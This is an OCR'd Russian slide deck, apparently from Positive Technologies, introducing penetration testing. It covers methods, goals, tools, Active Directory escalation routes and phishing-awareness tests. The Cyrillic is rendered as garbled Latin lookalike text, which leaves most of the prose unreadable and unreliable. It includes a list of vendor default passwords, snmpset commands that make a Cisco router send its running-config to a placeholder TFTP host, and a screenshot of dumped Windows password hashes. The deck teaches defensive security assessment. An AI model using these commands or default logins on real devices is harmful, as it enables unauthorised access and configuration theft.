TectTupoBaHume Ha NPOHUKHOBEHMe

Y10 Takoe?

Omutpun EBTteeB (Positive Technologies)
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Penetration testing internals
TecTupoBaHMe Ha NPOHUKHOBEeHMe !'= MmoaenmpoBaHue
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nencremmn (He)peanbHOro 3/10yMbILUJIEHHUKA

TecTupoBaHue Ha NPOHUKHOBEHUE != MHCTpyMeHTaJlbHOe
CKaHUpoBaHMe C pyyHOU Bepuchukaumen yasBuMocTen

{

il

TECTMPOBaHMe Ha NPOHUKHOBEHUNE —
® 3TO KOMIMNJNEKC Meponpmnuﬁ, HanpaBJ/iEHHbIX Ha OLIEHKY TEeKyLllero

i

L

COCTOSIHMSA npoueccoB obecneueHuns Ub

e TECTUpoBaHue Ha npeoanoJyieHmne 3alimTbl

e 3TO OAMH U3 MeToAO0B npoBeaeHun ayaumta Ub
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MeTtoauka
C o4HOM CTOPOHDbI 3TO
e Open Source Security Testing Methodology Manual (OSSTMM)

L

e Web Application Security Consortium (WASC)
e Open Web Application Security Project (OWASP)

C Apyrom CToOpoHbl 3TO
o Center of Internet Security (CIS) guides

i

e CtaHpapTtbl cepun ISO 2700x
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BO3MO>XHOCTMU

¥YnpaeneHue
HoHbMIypauMen
KpunTorpaduueckan o ] — ¥NpaeneHue
33LLATE o 4 MEMCETEERIMM IKPEHAMM
YnpasneHuwe YnpasneHWe y4eTHEIMK
WHLUMOEHTEM M - SEMNUCARMM
—@—TEHYULEE COCTOAHNE
MpUEMAEMBIA YPOEEHE
¥npaeneHue
YnpaeneHue
YASEMMOCTAMMH K rerr e
0BHOBAEHHUAMM o
: BesonacHoCTb
AHTMEMPYCHEA SEWMTE — MERCOHANBHBIX A3HHBIX
' NoONbSOEITENER
OCEELOMAEHHOCTE
NoAE3I0EITENER
MexaHuzm N X
HekoTopble AeNCTBUS aTaKyoWwel CTopoHbl 6binu
YnpaBneHue MHUMAeHTaMu 2
BbisiBJ1IEHbI, HO HE Oblnn MAEHTMQ)MHMDOBaHbI KaK aTakKa.
Mexann3m N X
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Llenn

i

BbiCOKOYpOBHEBbIE
e BHYTpeHHSAA nonnTtuka (NeHTecCT, KaK MHCTPYMEHT BO3AENCTBUA)
e OueHKa TeKyLlero CoCTossHMaA npoyeccos obecneuennsa Ub

e Tak Hapo (compliance)

L

TexHonornyeckume

e OcyuwectButb HC/]1 BO BHYTPEHHIOIO C€Tb CO CTOPOHbI CE€THU
NHTepHeT

e MMoNyuynTb MaKCMMaJZibHble NPUBUJIErMN B OCHOBHbIX
nHppacTpyKTypHbiX cuctemax (Active Directory, ceteBoe
o6bopyanosanue, CYb, ERP un np.)

e MonyumTb AOCTYN K onpeaesnieHHbIM MHPOPMaALIMOHHBIM pecypcamM

e MonyumTb AOCTYN K onpeaesieHHbIM AaHHbIM (MHpoOpMauun)
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NMoaxoAabl
NMepumMmeTpoBbIN NeHTecT (C nocsieayroliMM pa3sBUTUEM aTaKM

f

il

BO BHYTPEHHEMN ceThn)
o C yBeaoMmneHmeM n 6e3 yseaoMJIeHU agMUHUCTPATOPOB

e AHaNIN3 3alUMLLEHHOCTM 6ecnpoBOAHbIX ceTen

f
k

I

f

BHYTpPEHHUM NeHTecCT
e C pabouero mecra cpegHeCcTaTUCTUYECKOro noJjib3oBartenia ceTu

e U3 BbIGBpaHHOIro cerMeHTa cetu
TecTupoBaHue oTAENIbHONO KOMMNOHEHTa MHPOPMALIMOHHOM

f
k

I

cucteMmbl (aHaNun3 3alMLLEHHOCTH)

f

e YepHbliin-, cepbin- 6enbin-awmK
OueHka ocBeAOMJIEHHOCTU COTPYAHUKOB KOMMNaHUN B

BOnpocax nHpopMauMOHHON 6e30nNacHOCTH
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PeanbHaa aTtaka VS TecTupoBaHue Ha NPOHUKHOBEHMue

Ana HenocpeaACTBEHHOro UCNOJIHUTENA NeHTecT — 3To B3JIOM!

i

OrpaHunuyeHun
e CobnropeHne 3akoHoB PO

i

e OrpaHnyeHHoOe BpeMs

e MMHMMM3auma BO3AEeUCTBUA
e OTCcyTCcTBME YCnyru TectupoBsaHuma tuna DDoS

f
\

il

HeynobcrBa
e CornacoBsaHue gencreun (Nopon 3T1o goxoamTt Ao abcyppaa!)

e OTBETCTBEHHOCTb/AKKYpPaTHOCTb

NMpeunMyLwlecTBa
e He HY>XHO CKpPbIBaTb CBOKO aKTUBHOCTb

e YnpouieHue npouecca no maeHtudpunkalumm nepmMmeTpa Cetm

|

e BO3MO>XXHOCTb Nnepexoaa K cepoMmy- u 6es1oMy-ALLLUKY
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Ucnosib3yeMblie MHCTPYMEHTbI
Positive Technologies MaxPatrol

W

Nmap/dnsenum/dig ...
Immunity Canvas (VulnDisco, Agora Pack, Voip Pack)

Metasploit

W

THC Hydra/THC PPTP bruter/ncrack ...
Cain and Abel/Wireshark

Aircrack

W

Yersinia

il

Bpay3ep, 6/10KHOT...

e
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NMpo6nema 3awmntbl Web-npunnoxxeHumm

Me»KcauToBOE BbINOAHEHUE CLUEeHapueB 1 27%

BHeppeHve onepatopos SQL l ‘49%

Mpeackasyemoe pacnosnoKeHne pecypcos 21%
Yassumble KOHPUrypaumm cepsepa 38%
Mopb6op 22%

| | ] |

0% 10% 20% 30% 40% 50% 60%

Haubonee yacrto BCTpeuaowmecs ya3BMMOCTU Be6-Npuio)XKeHun npm nposeaeHnmn aHanmsa
MEeToAOM «YepHoro siwuka>» (aaHHbie 3a 2009 roa, http://ptsecurity.ru/analytics.asp)
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nMepbl neHTectoB: Web-npunoxxenun

b — —

©

f
|

YTo Takoe neHTecT Beb-npunioXXeHus METOANKOMN YepHOoro-silmkKa?

f

il

YassuMmocTb 1: noab6op napons
Impact: pocrtyn K npumno)xxeHmio (C orpaHUM4YeHHbIMU NMPUBUJIETUAMHN)

YA3BMMOCTb 2: BHeapeHue onepaTtopoB SQL
Impact: Tonbko uteHne pannoB (BKJOUYEHa onyMa magic quotes)

L

= Ya3BMMOCTb 3: BbIXOA 3a KaTtasnor
Impact: Tonbko ureHue pannoB (noreHumanbHo LFI)

YAa3BMMOCTb 4: NnpeackasyeMoe 3HaueHue nageHtudukartopa 3arpyxaemoro pamna
YAa3BMMOCTb 3 + Ya3BMMOCTb 4 = Impact: BbinoJIHeHMe KOMaHA Ha cepBepe

= Cnepyrowmn war - PASBBUTUE ATAKU

i

il

I

Web-cepBep

MNMpoBepka 1

= [pos.ep KaN
poaepka

Pabo4yee mecTo ayauTopa

b
l."\ .
L
P
&

[IpoBepka 2 S
HangeHa yﬂaaumoch

Hamnpena ya3BuMocCTb
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NMpob6nema cnabbix naponen
MCI'IOHbBYETCSl pekoMeHaAOBaHHAaA NMNOJINTUKa No 3aAaHUIo naponeﬁ
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B CmEBEDNBI BHFAMACKOrD BNBEEMTE B HUHHEM PETMCTRE, UMdpel M cney-ckumeonsl B Opyrve Habopol

NMaponb agMMHUCTpPaTOpa TaKkoro aomMeHa? (cosnagaeTt C JIOFrMHOM)

—

i
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Oo6buwenpuHaTblie
e admin:123456

¢ Administrator:P@sswOrd

L

SAP

« (DIAG) SAP*: 06071992, PASS

MaHaaHTbl: 000, 001, 066, BCe HOBbIE
e (RFC) SAPCPIC: ADMIN

MaHAaaHTbI:000, 001, 066, BCe HOBbIE

il

Oracle
e sys:manager

e sys:change_on_.install

L

Cisco

e Cisco:Cisco

L
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NMpuMmepsbl neHTecToB: NMoab6op naponen (aedontbl)



NMpuMmepbl neHTecToB: NpuBeT lNaBNuUK :)

29 161/ udp - SNMP -
""" ‘f BrinonHeHue MPOKM3E0NEHEX KOMaHO
2

----- 4 HeaBTOPUZOBEHHEIM AOCTYN BN C:\Windows\System32\cmd.exe =1
¥

/ YueTHaa 3anuch

----- 4 HecaHKWIoHWPOoBaHHLIR A0CTYn Cisco 108 Software. 3700 Software (C3745-A3JK?5-M>. Uersion 12.3(40T2. RELEASE j
9 SOFTWARE (fc1)
""" ‘fq OTka3 8 obonysMBaHIM TAC Support: http:/ uwwuw.cisco.com/tac
..... Copyright (c> 1986-2003 by Cisco Systems Inc.
e Conpiled Thu 18-Dec-03 18:34 by dchik”
----- 4 OTkas B obonyHMBaHUM iso.3.6.1.2.1.1.2.0 = 0ID: iso.3.6.1.4.1.9.1.
,,,,, 7 = iso.3.6.1.2.1.1.3.0 = Timeticks: (542@5264) 6 days. 6:34:12.64
‘i; OTkas B obcnywuBaH1m is0.3.6.1.2.1.1.4.0 = " =
----- 4 OTras B obcnymeaHum HalioeHa YYETHaS 3aMHch. is0.3.6.1.2.1.1.5.0 = STRING: “Ri.t.t"
W p ' is0.3.6.1.2.1.1.6.0 = "
5 OTkas B obonyuBaHIM is0.3.6.1.2.1.1.7.0 = INTEGER: 78
..... 4 OTkas B obcnywuBaHMM YueTHana 3anucb is0.3.6.1.2.1.1.8.0 = Timeticks: (0> 0:00:00.00
5
----- 4 OTras 5 ofcnyHuBaH private c:\USR\bin>snmpualk.exe —¢ public —v2c¢ <cisco> 1.3.6.1.2.1.1 ~
----- 4k Mepesarpyska yoTpoicTEa =

----- &+ MepenonHeHke Gybepa
rl

----- -t; MepenonHeqne Bydepa Mndopmaums

----- 4F PazrnaleH1e MHhopHMaLLIK
l

----- 4F PazrnalweH1e MHbOPHMALLN

_____ “: Cisco 105 Software, 3700 Software (C3745-A31K95-M), Version 12.3(4)T2, RELEASE SOFTWARE (fc1)
P YTeuka HHBOPMELIN TAC Support: http: /fwww.cisco, com/ftac
----- 4 ¥Teuxa MHbopMaLmKM Copyright () 1986-2003 by Cisco Systems, Inc,

m

----- # VassumocTs opMaTHOH CTpOKK Compiled Thu 18-Dec-03 18:34 by dchih

..... & [——

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.2.31337 integer 1

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.3.31337 integer 4

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.4.31337 integer 1

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.5.31337 address <tftp_host>
snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.6.31337 string running-config
snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.31337 integer 1

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.31337 integer 6
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NMpob6nema pasrpaHuyeHuns aocTtyna

CeteBOM pgoctyn
e Apxutektypa cetu (M3, TexHO/IOrM4YecKkas ceTb,
noJib30BaTeJIbCKMU CEerMeHT, TeCToBas cpeaa)

il

e YaaJsieHHbIN AOCTYN K CeTHU

AocTyn K AaHHbIM
e O6wme pecypcob! (naponuv B
OTKPbITOM Buae, pe3epBHble
KOMWUU AaHHbIX, pa3JZiIM4yHas
yyBCTBUTENbHasA nHpopmauumsn)

il

e Web-npunnoxenus, CYbAl, ERP
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NMpob6nanema ynpassieHns AOCTYNOM !

Pa3pgeneHme noJIHOMOUYMM MeXxxay aAMMHUCTpaTopaMm

I

|

f
l

|

Monb3oBaTenm C NOBbILLEHHbIMMU npusmuiaernamMmm

|

I

|

CepBucol (!) c He TpebyeMmbiM YypOBHEM AOCTYNA

f
l

|

O6wan npo6bnanema ynpasneHmsa maeHtudpumkaTopamm

|
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NMpumMmepbl neHTecToB: Mcnonb3oBaHMe yA3BMMOCTEN

nding s
tnand

Target (b1}

™ TerylWwHe ‘
192,168.3.7
I Screen Shoks

PEBO ¥3N0B |E:H:pluit On1caHwe |

EN YMPaENEHHE | CANYAS World Map |CmdLine |

tionUser ab 741d9921

Tue Mar 30 17:12:16 2010 JGetpracaddr_withmalloc: Found samsty, dll|SamrCloseHandle at 741d6029

Tue Mar 30 17:12:17 2010 ](192,168.3.7/32) SamrCloseHandle{domain) returned 0
Tue Mar 30 17:12:18 2010 J{192.168,3.7/32) SamrCloseHandlelhSam) returned 0

Tue Mar 30 17:12:19 2010 J{192,168,3.7/32) SamrEnumerateUsersInDomain returned 1

Tue Mar 30 17:12:19 2010 {192, 168,3.7/32) Administrator:500: 2ad3b435b51 404eeaad3b435b51 404ee: e 190cF7SeeS4e0cb06a5907 af 1 3cef 42
Tue Mar 30 17:12:19 2010 ]{192.168.5.7/32) Guest:501:aad3b435b5 1 404eeaad3b435b51 404ee: 31d6cfeld 1 6ae931b73059d70c089c0:
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NMpuMmepbl neHTecToB: PacuunpeHne npusunernn B Active
Directory

BapuaHT 1: MNoa6op napons

il

il

il

if

il

L

il

il

i

il

BapuaHT 2: Ucnosib30oBaHMe ySA3BMMOCTEN B CEpBMCAaX HA KOHTpoJIJiepax AOMEHa
BapuaHT 3: NpoBeaeHmne atakun Pass-the-hash

BapuaHT 4: Co3pgaHme HOBOIO NoJib3oBaTesiIs C AOMEHHOro KOMMNbloTEpa, KOTOPbIN
noceuwjaet agMUMHUCTpPaTOp AOMEHa

BapuaHT 5: NMpoBeaeHmne atakm tuna «OTpaBsieHne ARP kawa» (Hanpumep,
nepexsBaTt ceccum RDP, noHM>XeHue ypoBHSA NPOBEPKU NOAJIMHHOCTU A0 LM)

BapuaHT 6: NpoBeaeHmne atakn NTLM Relay

BapuaHT 7: Haxo>xaeHue n BocctaHoBsieHue system state nomeHa (HanpumMmep,
nocne ycnewHoM aTakm Ha cepBep pe3epBHOro KonmpoBaHus)

BapuaHT 8: NonyuyeHne pacluMpeHHbIX NPpUBUJIErum 3a cyeT Apyrmx cucrem
(npuMep, KOHTPOJIb HaA 3anNUMCcAMUN B KOpHEeBbIX DNS koMnaHun)

BapuaHT 9: NonyyeHmne paclimpeHHbIX NMPUBUJIErMA 3a CUET YA3BUMOCTEN APYrnx
cucrteM (XpaHeHMe napoJsier € McnosibsoBaHmeMm obparmmoro wmndpoBaHus,
Mcnosib3oBaHue Hebe3zonacHbIX NMPOTOKOJIOB U T.A.)

BapuaHT N ...
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NMpuMepbl NeHTeCcToB: AHaNN3 3alULLEHHOCTH

oW &
DS
an) (RN v \
2 DERS CETEBOE
o’ / A&\ 0BOPYROBA i
@ HVE OUTTNAT
<P CETEBOE v PABOUME
\7 %/ OBOPYIOBA CTAHLIAM _
HUE BHYTPEHHI NeHTeCT/ayanT no = CkaHu poBaHue cetmn
pe3ynbTartam neHTecra
5 5 [ YcnewHo nogo6paH
HYTPEHHUIA NeHTecT/ayauT N
N no pesynsTaTtam neHTecta — § naponb!
) - -« i N \ e 3Dkcnayatauus SQL
§ CEPBEP Injection
) CEPBEPEI § e BbinoJiIHeHMe KOMaHA4 Ha
N cepBepe
CEPBEPbI e ToBbilleHWEe NpUBUIErnii

NOOOBPAH
NAPOIb

e ATaka Ha BHYTPE€HHuUe

pecypchbl
PABOUME # BHYTpeHHMI NeHTecT
CTAHUAN e YcTaHOBKa CKaHepa
NMPOBEAEHUE
MPOBEPOK MaxPatrol

¢ TMowuck yasBuMocTen

e IJKCNJlyaTauusa
yA3BUMOCTEMN

NPOBEAEHVE MP SERVER

o MPOBEPOK
rOfIOBHOM \
oounC Nepemewenne B UC LIO

PaGouee v o [lpoBeaeHue aTakum Ha
MecTo pecypcsoi LLO

aygurtopa

= MonyyeHne MaKCUMaJibHbIX
N npuBunerui Bo Bcei cetu!
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NMpuMepbl NeHTeCcToB: AHaNN3 3alULLEHHOCTH

[+ Acrobat - -
[+-@ AcrobatReader HHTEerpaneHele OaHHele No TpeboBanmAM BoeX y2nNoB W 3apay
[#-71 Hardware Information ‘ BbinonHenwe NpoMsBOSILHOTO KOAa

[+ IBM Lotus Notes CVE: CVE-2009-1094

..... T
d JavaTM Platform 6, Standard Edition
B8 JavaTM Platform 6, Standard Edition 6 U5

37
(= JavaTM Platform 6, Standard Edition 6 U7 a Kpa TKOe onnucaHue i

----- - YASBUMOCTb NOSBONAET ATAKYHOWEMY BoIMONMHUTE NPOMIBONEHLIA KO,

----- 4+ BbINOMHEHME NPOM3BONLHOMD KoAa

----- 4+ BbINOMHEHME NPOM3BONLHOMD KoAa

----- 4+ HeaBTOpH30BaHHBIA AOCTYN = 0 nucaHue H21%

----- 4+ HeaBTOpH30BaHHBIA AOCTYN

----- 4F HeaBTopMI0BaHHEIA 4OCTYN o YASBMMOCTE B peanvsalmi LDAP B Java SE Development Kit (JDK) 1 Jave 5.00%

..... & OBXON MEXEHWSME SALLMTEI NPOMIBOMEHBIA KO, WCNONb3YA BEKTOPLI, CBA3EHHLIE C CEPUanMIaLMei

----- 4 OTkas B obcnyxmBaHMM

----- 4 OTkas B obcnyxmBaHMM

----- 4 TepenonHerwe Gydepa = Pe'_ueH He ILT%
----- 4 MepenonHenwe Bydepa

----- 4 MepenonHenwe Bydepa

----- 4 MepenonHenwe Bydepa

----- 4 TMepenonHerue Bydepa B AMHEMUYECKOIA NaMATH
----- 4 MepenonHerwe Bydepa B cTexe

""" — — 2 =
llsl CoorBercreme y3nos cranpaptam He cooTneTe _mm

He cooTBeTCTEYST ] 1000 2000 1 410 SO0
30 yanos (65.67%)

m

aHOBWTb NOCNEAHIOKD BEL

|

HE MDOEaE N0 [x] iy
CoomeeTcreyeT 453 T DE
Hi& CoOTEaTCTRYRT ZE4T 14 7%
b g 2 ) IcET
HiE ompepaness 3] 5.01%
oo EEs 1R
HenprMeHHto
13 yanos (28,89%) He enpesenano Skl

2 wanoe [4.44%)
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NMpuMepbl NeHTecTOoB: becnpoBoaHble ceTUu

PABOMWE
CTAHLIMA

BacnpoaogHas

— () rouka noctyna
< L 1 (WPAPSK)

2. NOOKNEEHME K NOXHOR
TOYKE OOCT¥IA

4. nonvueise nocTmak
{i J} PECYPCAM CETH

i
_— 3. DOCTYN K KOMMEACTERY
- NONESI0EATENR M0 CORAAHHOMY &
KAHAMY WI-FI Q
T,
e
R"‘x PepMa CepEEpoB
~—
H\-H\"-\-\.\_
1. CoaAHME NoWHOM TOUKA S
AOCTYTIA e V
Paliouns MECTO e
AyIMTaRa e
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NMpuMepbl NneHTecToB: OueHKa 3P (PeKTUBHOCTU NPOrpaMMbl
NnOBbILWLEHNUA 0CBEAOMJIEHHOCTH

U

Paccbisika NpoBOLMPYHOLWMNX COOBLEHNN NO /IEKTPOHHOMU nouTte

U

|
|

Paccbisika npoBoUMpyrOmnx coobueHmnm ¢ noMmouwbio cucrembl ICQ (m

apyrnx IM)

il

l
|

PacnpocTtpaHeHue HocuTenen nHipopmaunm, coaepirxkalimx

nposouMpylolime gaHHble
= [IpoBeaeHue onpoca cpean COTpyaAHUKOB

= )Xusou pasroBsop (no renedoHy, skype)
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NMpuMmepbl neHTecToB: NMpuMmep Habopa npoBepok

OnucaHue coobuieHus

Peannsyemas aTtaka

KoHTponupyeMble cobbiTust

CoobueHune oT aBTOPUTETHOIO
nnua, cogepkallee NpuIoXKeHHbIN
NCNosHseMbIn dann.

CoobueHre oT BHYTpeHHero nmua,
cogepxaulee ccbinky Ha Web-
caunT. CcblNlka yKa3blBaeT Ha
NCMosHseMbIn dann.

CoobueHne oT aBTOPUTETHOIO
nvua, coaepkallee CCbIIKy Ha
Web-canr.

~OSITIVE TECHNOLOGIES

PacnpocTpaHeHune ceTeBbIX YepBeEN.

LleneBoe 3apa)xeHune CUCTEMbl TPOSIHCKOM
nporpaMMon.

ATaKy TUNa «PULLINHM.
PacnpocTpaHeHune ceTeBbIX YepBeEN.

LleneBoe 3apa)xeHune CUCTEMbl TPOSIHCKOM
nporpaMMon.

Ncnonb3oBaHue ysssumoctewn M10.

ATaky TMNa «OULNHI.
PacnpocTpaHeHNe CETEBbIX YEpPBEN.

LleneBoe 3apaxeHne CUCTeMbl TPOSHCKOM
nporpaMMon.

Ncnonb3oBaHue yazsumocTten [MO.

OTKpbITUE MOYTOBOIrO
coobLeHuns.

3anycKk npunoxeHHoro danna.

OTKpbITUE MOYTOBOIrO
coobLeHuns.

3arpy3ka ¢danna c Web-
cepsepa.

3anyck danna.

OTKpbITUE MOYTOBOIrO
coobLeHuns.

Mepexoa NO NpeanoXXeHHOM
CCblKe.




NMpuMepbl NneHTecToB: OueHKa 3P (PeKTUBHOCTU NPOrpaMMbl
NnOBbILWLEHNUA 0CBEAOMJIEHHOCTH

50%

45% -

40%

40% -

35% -

30%

25% -

20% -

15% - 30%

10% -

15%
5% -

0%

MoNb30EETENENW NEREWAD NO CChiAKe (1 neHTecT) MoAE30EETENEN NEPELINGD NO CChIAKE [pEMYAAPHEIA NEHTECT)
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Pe3oMme

I

f

= TecTupoBaHue Ha NPOHUKHOBEHUe

— 3TO KOMIJIEKC MepPonpuATUNA, NO3BOJIAIOLWNA NPOBECTHU
3(¢pPeKTUBHYIO OLleHKY TeKyLlero COCTosHMA nNpoyeccos
o6ecneueHmna NHPOpMaLMOHHON 6€30MaCcHOCTH

i

[
I

TecTupoBaHue Ha NPOHUKHOBEHUe

— 3TO NOUCK U UCNOJIb30BaHUEe HeAOCTaTKOB B npoueccax
o6ecneueHns NHPOpPpMaLIMOHHON 6€30MaCcHOCTH

e ynpaBJieHne yA3BUMOCTAMMU
e ynpaBJieHne KoHdpuUrypaumamm
e ynpaBJ/iIeHUEe MHUMUAEHTaMM

e ynpaBsieHune 6e3onacHocTbio Beb-npunoxxeunn, CYb/[, ERP,
npoBoAHbIMM U 6ecnNpoBOAHbBIMU CETAMMU U MNp.

e etc
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Bonpochli?

devteev@ptsecurity.ru
http://devteev.blogspot.com/
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Cnacmbo 3a BHMMaHuel!

devteev@ptsecurity.ru
http://devteev.blogspot.com/
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